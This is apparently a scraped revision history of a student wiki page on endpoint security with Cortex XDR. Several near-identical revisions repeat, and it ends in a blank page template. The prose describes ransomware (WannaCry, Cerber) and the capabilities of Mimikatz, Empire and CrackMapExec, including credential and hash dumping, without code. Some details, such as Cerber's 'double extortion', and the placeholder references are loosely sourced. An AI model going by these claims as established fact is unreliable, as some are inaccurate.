Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Used Hardware ==

Windows 10 OS

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== References ==

*https://wiki.elvis.science/index.php?title=Endpoint_security_using_Cortex_XDR#Ransomware
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-01-28T20:23:32Z

AAmmann: /* Ransomware */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Used Hardware ==

Windows 10 OS

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-01-28T20:22:53Z

AAmmann: /* Cerber Ransomware */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

==== WannaCry Ransomware ====

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

==== Cortex XDR ====

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

==== Mimikatz ====

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

==== BC-Security / Empire ====

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

==== Porchetta-Industries / CrackMapExec ====

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Used Hardware ==

Windows 10 OS

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-01-28T20:22:38Z

AAmmann: /* Description */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

==== Cerber Ransomware ====

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

==== WannaCry Ransomware ====

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

==== Cortex XDR ====

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

==== Mimikatz ====

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

==== BC-Security / Empire ====

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

==== Porchetta-Industries / CrackMapExec ====

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Used Hardware ==

Windows 10 OS

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-01-28T20:21:47Z

AAmmann: /* Ransomware */

Endpoint security using Cortex XDR

2023-01-28T20:17:15Z

AAmmann: /* Courses */

Endpoint security using Cortex XDR

2023-01-28T20:16:20Z

AAmmann: /* BC-Security / Empire */

Endpoint security using Cortex XDR

2023-01-28T20:14:57Z

AAmmann: /* Mimikatz */

Endpoint security using Cortex XDR

2023-01-28T20:14:30Z

AAmmann: /* Step 2 */

Endpoint security using Cortex XDR

2023-01-28T20:14:04Z

AAmmann: /* Mimikatz */

Endpoint security using Cortex XDR

2023-01-28T20:13:27Z

AAmmann: /* Cortex XDR */

Endpoint security using Cortex XDR

2023-01-28T20:12:27Z

AAmmann: /* WannaCry Ransomware */

Endpoint security using Cortex XDR

2023-01-28T20:11:22Z

AAmmann: /* Ransomware */

Endpoint security using Cortex XDR

2023-01-28T20:10:14Z

AAmmann: /* Ransomware */

Endpoint security using Cortex XDR

2023-01-28T20:08:37Z

AAmmann: /* Step 1 */

Endpoint security using Cortex XDR

2023-01-28T20:05:33Z

AAmmann: /* Used Software */

Endpoint security using Cortex XDR

2023-01-28T20:04:45Z

AAmmann: /* Used Software */

Endpoint security using Cortex XDR

2023-01-28T20:02:56Z

AAmmann: /* Used Hardware */

Endpoint security using Cortex XDR

2023-01-28T20:02:07Z

AAmmann: /* Requirements */

Endpoint security using Cortex XDR

2023-01-28T20:01:17Z

AAmmann: /* Summary */

Endpoint security using Cortex XDR

2023-01-28T19:58:45Z

AAmmann: Created page with "== Summary == Description what this documentation is about. == Requirements == * Operating system: Ubuntu 18.04 bionic amd64 * Packages: git emacs In order to complete these steps, you must have followed Some Other Documentation before. == Description == === Step 1 === Enter these commands in the shell echo foo echo bar === Step 2 === Make sure to read * War and Peace * Lord of the Rings * The Baroque Cycle == Used Hardware == Device to be used with..."

== Summary ==

Description what this documentation is about.

== Requirements ==

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==

=== Step 1 ===

Enter these commands in the shell

echo foo
echo bar

=== Step 2 ===

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

== Used Hardware ==

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Ransomware

2023-01-08T11:57:22Z

AAmmann:

== Introduction to Ransomware ==

